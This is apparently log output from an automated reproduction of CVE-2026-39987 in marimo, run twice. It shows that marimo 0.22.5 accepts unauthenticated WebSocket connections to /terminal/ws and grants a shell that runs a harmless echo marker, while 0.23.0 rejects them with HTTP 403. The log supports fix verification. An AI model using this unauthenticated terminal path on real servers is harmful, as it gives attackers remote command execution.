[*] CVE-2026-39987 reproduction starting at 2026-07-30T07:16:42Z [*] Using marimo source checkout at /pruva/project-cache/repo [*] Patch verification (fixed commit c24d4806398f30be6b12acd6c60d1d7c68cfd12a): +from marimo._server.api.auth import validate_auth + if app_state.enable_auth and not validate_auth(websocket): [+] Vulnerable parent commit (c24d4806398f30be6b12acd6c60d1d7c68cfd12a^) has NO validate_auth call in terminal.py [*] Creating venv vuln with marimo==0.22.5 [+] vuln marimo 0.22.5 [*] Creating venv fixed with marimo==0.23.0 [+] fixed marimo 0.23.0 [+] Installed marimo 0.22.5 terminal.py has no validate_auth call (vulnerable) 17:from marimo._server.api.auth import validate_auth 359: if app_state.enable_auth and not validate_auth(websocket): [+] Installed marimo 0.23.0 terminal.py calls validate_auth (fixed) [*] Starting VULNERABLE marimo 0.22.5 on port 2718 (auth enabled) [+] HTTP auth gate active on port 2718 (unauthenticated / -> HTTP 303) [*] Vulnerable unauthenticated /terminal/ws attempt 1 (marker PRUVA_VULN_A1) [+] attempt 1: unauthenticated WebSocket accepted, PTY shell obtained, command executed echo PRUVA_VULN_A1_$(id -u)_$(id -un) [?2004hvscode ➜ /tmp/tmp.apirEd0YQB $ echo PRUVA_VULN_A1_$(id -u)_$(id -un) [*] Vulnerable unauthenticated /terminal/ws attempt 2 (marker PRUVA_VULN_A2) [+] attempt 2: unauthenticated WebSocket accepted, PTY shell obtained, command executed echo PRUVA_VULN_A2_$(id -u)_$(id -un) [?2004hvscode ➜ /tmp/tmp.apirEd0YQB $ echo PRUVA_VULN_A2_$(id -u)_$(id -un) [*] Starting FIXED marimo 0.23.0 on port 2719 (auth enabled) [+] HTTP auth gate active on port 2719 (unauthenticated / -> HTTP 303) [*] Fixed unauthenticated /terminal/ws attempt 1 [+] attempt 1: unauthenticated WebSocket rejected (fixed behavior) CONNECT_FAILED: InvalidStatus: server rejected WebSocket connection: HTTP 403 [*] Fixed unauthenticated /terminal/ws attempt 2 [+] attempt 2: unauthenticated WebSocket rejected (fixed behavior) CONNECT_FAILED: InvalidStatus: server rejected WebSocket connection: HTTP 403 [*] Fixed authenticated control (valid access_token must still work) [+] Authenticated terminal WebSocket still works on fixed build [*] Verdict: confirmed (vuln RCE attempts OK=2/2, fixed rejects OK=2/2, fixed auth control=1) [*] CVE-2026-39987 reproduction starting at 2026-07-30T07:18:43Z [*] Using marimo source checkout at /pruva/project-cache/repo [*] Patch verification (fixed commit c24d4806398f30be6b12acd6c60d1d7c68cfd12a): +from marimo._server.api.auth import validate_auth + if app_state.enable_auth and not validate_auth(websocket): [+] Vulnerable parent commit (c24d4806398f30be6b12acd6c60d1d7c68cfd12a^) has NO validate_auth call in terminal.py [+] vuln marimo 0.22.5 [+] fixed marimo 0.23.0 [+] Installed marimo 0.22.5 terminal.py has no validate_auth call (vulnerable) 17:from marimo._server.api.auth import validate_auth 359: if app_state.enable_auth and not validate_auth(websocket): [+] Installed marimo 0.23.0 terminal.py calls validate_auth (fixed) [*] Starting VULNERABLE marimo 0.22.5 on port 2718 (auth enabled) [+] HTTP auth gate active on port 2718 (unauthenticated / -> HTTP 303) [*] Vulnerable unauthenticated /terminal/ws attempt 1 (marker PRUVA_VULN_A1) [+] attempt 1: unauthenticated WebSocket accepted, PTY shell obtained, command executed echo PRUVA_VULN_A1_$(id -u)_$(id -un) [?2004hvscode ➜ /tmp/tmp.uMHeW5UlBv $ echo PRUVA_VULN_A1_$(id -u)_$(id -un) [*] Vulnerable unauthenticated /terminal/ws attempt 2 (marker PRUVA_VULN_A2) [+] attempt 2: unauthenticated WebSocket accepted, PTY shell obtained, command executed echo PRUVA_VULN_A2_$(id -u)_$(id -un) [?2004hvscode ➜ /tmp/tmp.uMHeW5UlBv $ echo PRUVA_VULN_A2_$(id -u)_$(id -un) [*] Starting FIXED marimo 0.23.0 on port 2719 (auth enabled) [+] HTTP auth gate active on port 2719 (unauthenticated / -> HTTP 303) [*] Fixed unauthenticated /terminal/ws attempt 1 [+] attempt 1: unauthenticated WebSocket rejected (fixed behavior) CONNECT_FAILED: InvalidStatus: server rejected WebSocket connection: HTTP 403 [*] Fixed unauthenticated /terminal/ws attempt 2 [+] attempt 2: unauthenticated WebSocket rejected (fixed behavior) CONNECT_FAILED: InvalidStatus: server rejected WebSocket connection: HTTP 403 [*] Fixed authenticated control (valid access_token must still work) [+] Authenticated terminal WebSocket still works on fixed build [*] Verdict: confirmed (vuln RCE attempts OK=2/2, fixed rejects OK=2/2, fixed auth control=1)